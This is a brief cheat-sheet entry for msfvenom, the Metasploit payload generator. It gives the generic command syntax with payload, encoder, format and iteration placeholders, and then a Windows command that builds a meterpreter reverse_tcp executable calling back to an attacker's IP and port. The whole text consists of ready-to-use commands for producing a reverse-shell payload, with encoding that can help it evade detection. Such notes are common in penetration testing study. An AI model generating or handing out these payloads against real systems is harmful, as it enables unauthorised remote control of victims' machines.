msfvenom

msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>

One can also use the <code>-a</code> to specify the architecture or the <code>--platform</code>

For Windows:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f
exe > reverse.exe